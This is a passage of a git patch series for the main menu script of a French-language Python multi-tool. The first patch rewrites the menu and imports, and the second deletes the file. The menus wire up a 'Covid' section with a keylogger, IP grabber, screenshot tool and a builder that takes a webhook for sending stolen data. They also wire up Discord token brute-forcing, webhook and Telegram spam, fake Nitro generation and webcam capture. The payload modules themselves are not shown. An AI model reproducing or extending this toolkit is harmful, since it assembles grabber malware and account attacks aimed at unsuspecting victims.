██║██║╚════██║██║ ██║ ██║██╔══██╗██║ ██║ - ██████╔╝██║███████║╚██████╗╚██████╔╝██║ ██║██████╔╝ - ╚═════╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ - [I]. Informations - - 1. [Nitro Gen] 4. [Token BruteForce] 7. [rpc_conf] 10. [Quit] - 2. [Spaming Webhook] 5. [Bot to id] 8. [Token check] - 3. [Darkweb] 6. [4c Checker] 9. [Webhook sender] - {WHITE} - Choisis : """).lower() - - # Nitro gen - if discord == "1": - nitro() - - # Webhook - elif discord == "2": - webhookspam() - - elif discord == "3": - os.system("cls") - print(""" - ██████╗ █████╗ ██████╗ ██╗ ██╗ ██╗ ██╗███████╗██████╗ - ██╔══██╗██╔══██╗██╔══██╗██║ ██╔╝ ██║ ██║██╔════╝██╔══██╗ - ██║ ██║███████║██████╔╝█████╔╝ ██║ █╗ ██║█████╗ ██████╔╝ - ██║ ██║██╔══██║██╔══██╗██╔═██╗ ██║███╗██║██╔══╝ ██╔══██╗ - ██████╔╝██║ ██║██║ ██║██║ ██╗ ╚███╔███╔╝███████╗██████╔╝ - ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚══╝╚══╝ ╚══════╝╚═════╝ - """) - try: - for category, content in links.items(): - print(f"\n--- {category} ---") - - for name, url in content.items(): - - if isinstance(url, dict): - print(f"\n [{name}]") - for sub_name, sub_url in url.items(): - print(f" - {sub_name} : {sub_url}") - else: - print(f" - {name} : {url}") - except Exception as e: - print(f"Error {e}") - - time.sleep(10) - elif discord == "4": - idtotoken() - - elif discord == "5": - invit() - - elif discord == "6": - discord_checker() - - elif discord == "7": - rpc_conf() - - elif discord == "8": - tokenchecker() - - elif discord == "9": - sender() - - elif discord == "i": - show_informations() - - elif discord == "10": - print("Aurevoir l'amis") - time.sleep(2) - break - - elif choix == "4": - try: - os.system("cls") - covid = input(f""" {WHITE} - ██████╗ ██████╗ ██╗ ██╗██╗██████╗ ██╗ █████╗ - ██╔════╝██╔═══██╗██║ ██║██║██╔══██╗ ███║██╔══██╗ - ██║ ██║ ██║██║ ██║██║██║ ██║ ╚██║╚██████║ - ██║ ██║ ██║╚██╗ ██╔╝██║██║ ██║ ██║ ╚═══██║ - ╚██████╗╚██████╔╝ ╚████╔╝ ██║██████╔╝ ██║ █████╔╝ - ╚═════╝ ╚═════╝ ╚═══╝ ╚═╝╚═════╝ ╚═╝ ╚════╝ - - 1. [KeyLogger] 4. [Build Covid] - 2. [Grabing IP] 5. [Quit] - 3. [ScreenShot] - - {WHITE} - Fais ton choix : """) - except ValueError as e: - print(f"Error {e}") - - if covid == "1": - kylog() - - elif covid == "2": - grabip() - - elif covid == "3": - screen() - - elif covid == "4": - try: - os.system("cls") - webhook = input(f"""{MAGENTA} - - ██ ██ ██ █████▄ ██ ██ ▄█████ █████▄ ██ ██ ██ ██ ████▄ - ██▄▄██ ██ ██▄▄██▄ ██ ██ ▀▀▀▄▄▄ ██▄▄██ ██ ██ ██ ██ ██ ██ - ▀██▀ ██ ██ ██ ▀████▀ █████▀ ██▄▄█▀ ▀████▀ ██ ██████ ████▀ - - Met Ton Webhook : """) - except ValueError as e: - print(f"Error {e}") - - with open("config.json", "w", encoding="utf-8") as f: - json.dump({"webhook": webhook}, f, ensure_ascii=False, indent=4) - - builder() - - elif covid == "5": - print("Au-Revoir a bientot l'amis") - time.sleep(2) - break - elif choix == "5": - automation = input(f"""{MAGENTA} - ▄████▄ ██ ██ ██████ ▄████▄ ██▄ ▄██ ▄████▄ ██████ ██ ▄████▄ ███ ██ - ██▄▄██ ██ ██ ██ ██ ██ ██ ▀▀ ██ ██▄▄██ ██ ██ ██ ██ ██ ▀▄██ - ██ ██ ▀████▀ ██ ▀████▀ ██ ██ ██ ██ ██ ██ ▀████▀ ██ ██ - - i. [Information] - - 1. [Instagram Auto Follow] - 2. [Quit] - - - Fais ton choix : """) - - if automation == "1": - instaautomation() - elif automation == "2": - print(f"Tu va quitté") - time.sleep(3) - break - elif automation == "i": - show_informations() - - # Ici on a mis le quit si la personne a lancé sans fair expres - elif choix == "6": - print("Au-Revoir a bientot l'ami") - time.sleep(2) - break - elif choix == "i": +import os +import threading +import time +from tkinter import Tk, filedialog + +from code.colors import * +from code.core.menu import show_informations +from code.core.devtools import devtools +from code.core.rpc import start_rpc +from code.lookup.archive_check import archive_check +from code.lookup.discord_lookup import discord_lookup +from code.lookup.dns_lookup import dns_lookup +from code.lookup.github_lookup import github_lookup +from code.lookup.google_search import google_search +from code.lookup.leak_check import leak_check +from code.lookup.username_lookup import username_lookup +from code.security.password_gen import gen_password +from code.security.proxy import proxy_vpn +from code.security.scraper import http_scraper +from code.security.web_status import website_status +from code.security.whois_lookup import whois_lookup +from code.discord.bot_invite import bot_invite +from code.discord.darkweb_display import darkweb_display +from code.discord.nitro import nitro_gen +from code.discord.token_tools import token_bruteforce +from code.discord.webhook_spam import webhook_spam +from code.covid.build import build_covid +from code.covid.ip_grab import grab_ip +from code.covid.keylogger import keylogger +from code.covid.screenshot import screenshot +from code.modules.ai import ai +from code.modules.checking import holehe +from code.modules.discordchecker import main as discord_checker +from code.modules.embedsender import sender +from code.modules.genip import ip +from code.modules.githubchecker import git +from code.modules.ipscanner import ip +from code.modules.letsenscript import domaine +from code.modules.passwordmanager import passwdmanage +from code.modules.robloxsearch import roblox +from code.modules.rpc import rpc_conf +from code.modules.Spamtlgrm import tlgrm +from code.modules.tiktokchecker import tiktok +from code.modules.tokencheck import tokenchecker +from code.modules.webcamcapt import webcam +from code.challange.firstchallange import osint +from code.challange.pentestchallange import main as pentest_web +from code.modules.autofollowinsta import instaautomation +from code.modules.ip import ipchoix +from code.modules.ipreputation import ip_reputation +from code.modules.number import numberchoix +from sites import sites + +# ANCHOR - Command thread +threading.Thread(target=start_rpc, daemon=True).start() + +while True: + os.system("cls") + choix = input(f""" {WHITE} + ██╗ ██╗██╗ ██╗██╗████████╗███████╗██╗ ██╗ ██████╗ ██╗ ███████╗ + ██║ ██║██║ ██║██║╚══██╔══╝██╔════╝██║ ██║██╔═══██╗██║ ██╔════╝ + ██║ █╗ ██║███████║██║ ██║ █████╗ ██║ █╗ ██║██║ ██║██║ █████╗ + ██║███╗██║██╔══██║██║ ██║ ██╔══╝ ██║███╗██║██║ ██║██║ ██╔══╝ + ╚███╔███╔╝██║ ██║██║ ██║ ███████╗╚███╔███╔╝╚██████╔╝███████╗██║ + ╚══╝╚══╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚══════╝ ╚══╝╚══╝ ╚═════╝ ╚══════╝╚═╝ + [I]. Informations + + 1. [Lookup] 4. [Covid] + 2. [Sécurity] 5. [Automation] + 3. [Discord] 6. [Quit] + + Fais ton choix : """).lower() + + if choix == "1": + os.system("cls") + choix2 = input(f""" {WHITE} + ██╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗██████╗ + ██║ ██╔═══██╗██╔═══██╗██║ ██╔╝██║ ██║██╔══██╗ + ██║ ██║ ██║██║ ██║█████╔╝ ██║ ██║██████╔╝ + ██║ ██║ ██║██║ ██║██╔═██╗ ██║ ██║██╔═══╝ + ███████╗╚██████╔╝╚██████╔╝██║ ██╗╚██████╔╝██║ + ╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ + [I]. Informations + + 1. [IP] 4. [Google] 7. [Github] 10. [4C Tiktok] 13. [SSL / TLS] 16. [Holehe] + 2. [Number] 5. [Dns] 8. [Leak Mail] 11. [4C Github] 14. [Roblox] 17. [Quit] + 3. [Username] 6. [DISCORD] 9. [Archive Web] 12. [IP Scanner] 15. [AI] + + Fais ton choix : """).lower() + if choix2 == "1": + ipchoix() + + # Ici je mais mon deuxième choçix donc Lookup Number + elif choix2 == "2": + numberchoix() + + elif choix2 == "3": + username_lookup(sites) + elif choix2 == "4": + google_search() + elif choix2 == "5": + dns_lookup() + elif choix2 == "6": + discord_lookup() + + + elif choix2 == "7": + github_lookup() + elif choix2 == "8": + leak_check() + elif choix2 == "9": + archive_check() + elif choix2 == "10": + tiktok() + + elif choix2 == "11": + git() + + elif choix2 == "12": + ip() + + elif choix2 == "13": + domaine() + + elif choix2 == "14": + roblox() + + elif choix2 == "15": + ai() + + elif choix2 == "16": + holehe() + + elif choix2 == "i": + show_informations() + + elif choix2 == "17": + print("Tu va quitté le tools") + time.sleep(2) + print("Au-Revoir :)") + time.sleep(2) + break + + # Menu sécurity + elif choix == "2": + os.system("cls") + choix3 = input(f""" {WHITE} + ███████╗███████╗ ██████╗██╗ ██╗██████╗ ██╗████████╗██╗ ██╗ + ██╔════╝██╔════╝██╔════╝██║ ██║██╔══██╗██║╚══██╔══╝╚██╗ ██╔╝ + ███████╗█████╗ ██║ ██║ ██║██████╔╝██║ ██║ ╚████╔╝ + ╚════██║██╔══╝ ██║ ██║ ██║██╔══██╗██║ ██║ ╚██╔╝ + ███████║███████╗╚██████╗╚██████╔╝██║ ██║██║ ██║ ██║ + ╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ + [I]. Informations + 1. [PROXY(VPN)] 4. [Scraper] 7. [Spam Telegram] 10. [Pentest Web] 13. [Quit] + 2. [Gen Password] 5. [Whois] 8. [Passwd Manager] 11. [Webcam] + 3. [Status Website] 6. [Gen IP] 9. [Osint] 12. [Ip reput] + {WHITE} + Fais ton choix : """).lower() + + if choix3 == "1": + proxy_vpn() + + elif choix3 == "2": + gen_password() + elif choix3 == "3": + website_status() + elif choix3 == "4": + http_scraper() + elif choix3 == "5": + whois_lookup() + elif choix3 == "6": + ip() + + elif choix3 == "7": + tlgrm() + + elif choix3 == "8": + passwdmanage() + + elif choix3 == "9": + osint() + + elif choix3 == "10": + pentest_web() + + elif choix3 == "11": + webcam() + + elif choix3 == "12": + ip_reputation() + + elif choix3 == "i": + show_informations() + + elif choix3 == "13": + print("Au-Revoir a bientot l'amis") + time.sleep(2) + break + # catgegories + elif choix == "3": + os.system("cls") + discord = input(f""" {WHITE} + ██████╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ + ██╔══██╗██║██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔══██╗ + ██║ ██║██║███████╗██║ ██║ ██║██████╔╝██║ ██║ + ██║ ██║██║╚════██║██║ ██║ ██║██╔══██╗██║ ██║ + ██████╔╝██║███████║╚██████╗╚██████╔╝██║ ██║██████╔╝ + ╚═════╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ + [I]. Informations + + 1. [Nitro Gen] 4. [Token BruteForce] 7. [rpc_conf] 10. [Quit] + 2. [Spaming Webhook] 5. [Bot to id] 8. [Token check] + 3. [Darkweb] 6. [4c Checker] 9. [Webhook sender] + {WHITE} + Choisis : """).lower() + + if discord == "1": + nitro_gen() + elif discord == "2": + webhook_spam() + elif discord == "3": + darkweb_display() + elif discord == "4": + token_bruteforce() + elif discord == "5": + bot_invite() + elif discord == "6": + discord_checker() + elif discord == "7": + rpc_conf() + elif discord == "8": + tokenchecker() + elif discord == "9": + sender() + elif discord == "i": + show_informations() + elif discord == "10": + print("Aurevoir l'amis") + time.sleep(2) + break + + elif choix == "4": + try: + os.system("cls") + covid = input(f""" {WHITE} + ██████╗ ██████╗ ██╗ ██╗██╗██████╗ ██╗ █████╗ + ██╔════╝██╔═══██╗██║ ██║██║██╔══██╗ ███║██╔══██╗ + ██║ ██║ ██║██║ ██║██║██║ ██║ ╚██║╚██████║ + ██║ ██║ ██║╚██╗ ██╔╝██║██║ ██║ ██║ ╚═══██║ + ╚██████╗╚██████╔╝ ╚████╔╝ ██║██████╔╝ ██║ █████╔╝ + ╚═════╝ ╚═════╝ ╚═══╝ ╚═╝╚═════╝ ╚═╝ ╚════╝ + + 1. [KeyLogger] 4. [Build Covid] + 2. [Grabing IP] 5. [Quit] + 3. [ScreenShot] + + {WHITE} + Fais ton choix : """) + except ValueError as e: + print(f"Error {e}") + + if covid == "1": + keylogger() + elif covid == "2": + grab_ip() + elif covid == "3": + screenshot() + elif covid == "4": + build_covid() + elif covid == "5": + print("Au-Revoir a bientot l'amis") + time.sleep(2) + break + elif choix == "5": + automation = input(f"""{MAGENTA} + ▄████▄ ██ ██ ██████ ▄████▄ ██▄ ▄██ ▄████▄ ██████ ██ ▄████▄ ███ ██ + ██▄▄██ ██ ██ ██ ██ ██ ██ ▀▀ ██ ██▄▄██ ██ ██ ██ ██ ██ ▀▄██ + ██ ██ ▀████▀ ██ ▀████▀ ██ ██ ██ ██ ██ ██ ▀████▀ ██ ██ + + i. [Information] + + 1. [Instagram Auto Follow] + 2. [Quit] + + + Fais ton choix : """) + + if automation == "1": + instaautomation() + elif automation == "2": + print(f"Tu va quitté") + time.sleep(3) + break + elif automation == "i": + show_informations() + + # Ici on a mis le quit si la personne a lancé sans fair expres + elif choix == "6": + print("Au-Revoir a bientot l'ami") + time.sleep(2) + break + elif choix == "i": show_informations() \ No newline at end of file From b0b05daf53d29f95ff85ef7d2cbf3a474010d7b3 Mon Sep 17 00:00:00 2001 From: "Xql.dev" <205849173+KirobotDev@users.noreply.github.com> Date: Tue, 23 Jun 2026 00:55:08 +0700 Subject: [PATCH 2/2] Delete main.py --- main.py | 304 -------------------------------------------------------- 1 file changed, 304 deletions(-) delete mode 100644 main.py diff --git a/main.py b/main.py deleted file mode 100644 index 9f2b7f6..0000000 --- a/main.py +++ /dev/null @@ -1,304 +0,0 @@ -import os -import threading -import time -from tkinter import Tk, filedialog - -from code.colors import * -from code.core.menu import show_informations -from code.core.devtools import devtools -from code.core.rpc import start_rpc -from code.lookup.archive_check import archive_check -from code.lookup.discord_lookup import discord_lookup -from code.lookup.dns_lookup import dns_lookup -from code.lookup.github_lookup import github_lookup -from code.lookup.google_search import google_search -from code.lookup.leak_check import leak_check -from code.lookup.username_lookup import username_lookup -from code.security.password_gen import gen_password -from code.security.proxy import proxy_vpn -from code.security.scraper import http_scraper -from code.security.web_status import website_status -from code.security.whois_lookup import whois_lookup -from code.discord.bot_invite import bot_invite -from code.discord.darkweb_display import darkweb_display -from code.discord.nitro import nitro_gen -from code.discord.token_tools import token_bruteforce -from code.discord.webhook_spam import webhook_spam -from code.covid.build import build_covid -from code.covid.ip_grab import grab_ip -from code.covid.keylogger import keylogger -from code.covid.screenshot import screenshot -from code.modules.ai import ai -from code.modules.checking import holehe -from code.modules.discordchecker import main as discord_checker -from code.modules.embedsender import sender -from code.modules.genip import ip -from code.modules.githubchecker import git -from code.modules.ipscanner import ip -from code.modules.letsenscript import domaine -from code.modules.passwordmanager import passwdmanage -from code.modules.robloxsearch import roblox -from code.modules.rpc import rpc_conf -from code.modules.Spamtlgrm import tlgrm -from code.modules.tiktokchecker import tiktok -from code.modules.tokencheck import tokenchecker -from code.modules.webcamcapt import webcam -from code.challange.firstchallange import osint -from code.challange.pentestchallange import main as pentest_web -from code.modules.autofollowinsta import instaautomation -from code.modules.ip import ipchoix -from code.modules.ipreputation import ip_reputation -from code.modules.number import numberchoix -from sites import sites - -# ANCHOR - Command thread -threading.Thread(target=start_rpc, daemon=True).start() - -while True: - os.system("cls") - choix = input(f""" {WHITE} - ██╗ ██╗██╗ ██╗██╗████████╗███████╗██╗ ██╗ ██████╗ ██╗ ███████╗ - ██║ ██║██║ ██║██║╚══██╔══╝██╔════╝██║ ██║██╔═══██╗██║ ██╔════╝ - ██║ █╗ ██║███████║██║ ██║ █████╗ ██║ █╗ ██║██║ ██║██║ █████╗ - ██║███╗██║██╔══██║██║ ██║ ██╔══╝ ██║███╗██║██║ ██║██║ ██╔══╝ - ╚███╔███╔╝██║ ██║██║ ██║ ███████╗╚███╔███╔╝╚██████╔╝███████╗██║ - ╚══╝╚══╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚══════╝ ╚══╝╚══╝ ╚═════╝ ╚══════╝╚═╝ - [I]. Informations - - 1. [Lookup] 4. [Covid] - 2. [Sécurity] 5. [Automation] - 3. [Discord] 6. [Quit] - - Fais ton choix : """).lower() - - if choix == "1": - os.system("cls") - choix2 = input(f""" {WHITE} - ██╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗██████╗ - ██║ ██╔═══██╗██╔═══██╗██║ ██╔╝██║ ██║██╔══██╗ - ██║ ██║ ██║██║ ██║█████╔╝ ██║ ██║██████╔╝ - ██║ ██║ ██║██║ ██║██╔═██╗ ██║ ██║██╔═══╝ - ███████╗╚██████╔╝╚██████╔╝██║ ██╗╚██████╔╝██║ - ╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ - [I]. Informations - - 1. [IP] 4. [Google] 7. [Github] 10. [4C Tiktok] 13. [SSL / TLS] 16. [Holehe] - 2. [Number] 5. [Dns] 8. [Leak Mail] 11. [4C Github] 14. [Roblox] 17. [Quit] - 3. [Username] 6. [DISCORD] 9. [Archive Web] 12. [IP Scanner] 15. [AI] - - Fais ton choix : """).lower() - if choix2 == "1": - ipchoix() - - # Ici je mais mon deuxième choçix donc Lookup Number - elif choix2 == "2": - numberchoix() - - elif choix2 == "3": - username_lookup(sites) - elif choix2 == "4": - google_search() - elif choix2 == "5": - dns_lookup() - elif choix2 == "6": - discord_lookup() - - - elif choix2 == "7": - github_lookup() - elif choix2 == "8": - leak_check() - elif choix2 == "9": - archive_check() - elif choix2 == "10": - tiktok() - - elif choix2 == "11": - git() - - elif choix2 == "12": - ip() - - elif choix2 == "13": - domaine() - - elif choix2 == "14": - roblox() - - elif choix2 == "15": - ai() - - elif choix2 == "16": - holehe() - - elif choix2 == "i": - show_informations() - - elif choix2 == "17": - print("Tu va quitté le tools") - time.sleep(2) - print("Au-Revoir :)") - time.sleep(2) - break - - # Menu sécurity - elif choix == "2": - os.system("cls") - choix3 = input(f""" {WHITE} - ███████╗███████╗ ██████╗██╗ ██╗██████╗ ██╗████████╗██╗ ██╗ - ██╔════╝██╔════╝██╔════╝██║ ██║██╔══██╗██║╚══██╔══╝╚██╗ ██╔╝ - ███████╗█████╗ ██║ ██║ ██║██████╔╝██║ ██║ ╚████╔╝ - ╚════██║██╔══╝ ██║ ██║ ██║██╔══██╗██║ ██║ ╚██╔╝ - ███████║███████╗╚██████╗╚██████╔╝██║ ██║██║ ██║ ██║ - ╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ - [I]. Informations - 1. [PROXY(VPN)] 4. [Scraper] 7. [Spam Telegram] 10. [Pentest Web] 13. [Quit] - 2. [Gen Password] 5. [Whois] 8. [Passwd Manager] 11. [Webcam] - 3. [Status Website] 6. [Gen IP] 9. [Osint] 12. [Ip reput] - {WHITE} - Fais ton choix : """).lower() - - if choix3 == "1": - proxy_vpn() - - elif choix3 == "2": - gen_password() - elif choix3 == "3": - website_status() - elif choix3 == "4": - http_scraper() - elif choix3 == "5": - whois_lookup() - elif choix3 == "6": - ip() - - elif choix3 == "7": - tlgrm() - - elif choix3 == "8": - passwdmanage() - - elif choix3 == "9": - osint() - - elif choix3 == "10": - pentest_web() - - elif choix3 == "11": - webcam() - - elif choix3 == "12": - ip_reputation() - - elif choix3 == "i": - show_informations() - - elif choix3 == "13": - print("Au-Revoir a bientot l'amis") - time.sleep(2) - break - # catgegories - elif choix == "3": - os.system("cls") - discord = input(f""" {WHITE} - ██████╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ - ██╔══██╗██║██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔══██╗ - ██║ ██║██║███████╗██║ ██║ ██║██████╔╝██║ ██║ - ██║ ██║██║╚════██║██║ ██║ ██║██╔══██╗██║ ██║ - ██████╔╝██║███████║╚██████╗╚██████╔╝██║ ██║██████╔╝ - ╚═════╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ - [I]. Informations - - 1. [Nitro Gen] 4. [Token BruteForce] 7. [rpc_conf] 10. [Quit] - 2. [Spaming Webhook] 5. [Bot to id] 8. [Token check] - 3. [Darkweb] 6. [4c Checker] 9. [Webhook sender] - {WHITE} - Choisis : """).lower() - - if discord == "1": - nitro_gen() - elif discord == "2": - webhook_spam() - elif discord == "3": - darkweb_display() - elif discord == "4": - token_bruteforce() - elif discord == "5": - bot_invite() - elif discord == "6": - discord_checker() - elif discord == "7": - rpc_conf() - elif discord == "8": - tokenchecker() - elif discord == "9": - sender() - elif discord == "i": - show_informations() - elif discord == "10": - print("Aurevoir l'amis") - time.sleep(2) - break - - elif choix == "4": - try: - os.system("cls") - covid = input(f""" {WHITE} - ██████╗ ██████╗ ██╗ ██╗██╗██████╗ ██╗ █████╗ - ██╔════╝██╔═══██╗██║ ██║██║██╔══██╗ ███║██╔══██╗ - ██║ ██║ ██║██║ ██║██║██║ ██║ ╚██║╚██████║ - ██║ ██║ ██║╚██╗ ██╔╝██║██║ ██║ ██║ ╚═══██║ - ╚██████╗╚██████╔╝ ╚████╔╝ ██║██████╔╝ ██║ █████╔╝ - ╚═════╝ ╚═════╝ ╚═══╝ ╚═╝╚═════╝ ╚═╝ ╚════╝ - - 1. [KeyLogger] 4. [Build Covid] - 2. [Grabing IP] 5. [Quit] - 3. [ScreenShot] - - {WHITE} - Fais ton choix : """) - except ValueError as e: - print(f"Error {e}") - - if covid == "1": - keylogger() - elif covid == "2": - grab_ip() - elif covid == "3": - screenshot() - elif covid == "4": - build_covid() - elif covid == "5": - print("Au-Revoir a bientot l'amis") - time.sleep(2) - break - elif choix == "5": - automation = input(f"""{MAGENTA} - ▄████▄ ██ ██ ██████ ▄████▄ ██▄ ▄██ ▄████▄ ██████ ██ ▄████▄ ███ ██ - ██▄▄██ ██ ██ ██ ██ ██ ██ ▀▀ ██ ██▄▄██ ██ ██ ██ ██ ██ ▀▄██ - ██ ██ ▀████▀ ██ ▀████▀ ██ ██ ██ ██ ██ ██ ▀████▀ ██ ██ - - i. [Information] - - 1. [Instagram Auto Follow] - 2. [Quit] - - - Fais ton choix : """) - - if automation == "1": - instaautomation() - elif automation == "2": - print(f"Tu va quitté") - time.sleep(3) - break - elif automation == "i": - show_informations() - - # Ici on a mis le quit si la personne a lancé sans fair expres - elif choix == "6": - print("Au-Revoir a bientot l'ami") - time.sleep(2) - break - elif choix == "i": - show_informations() \ No newline at end of file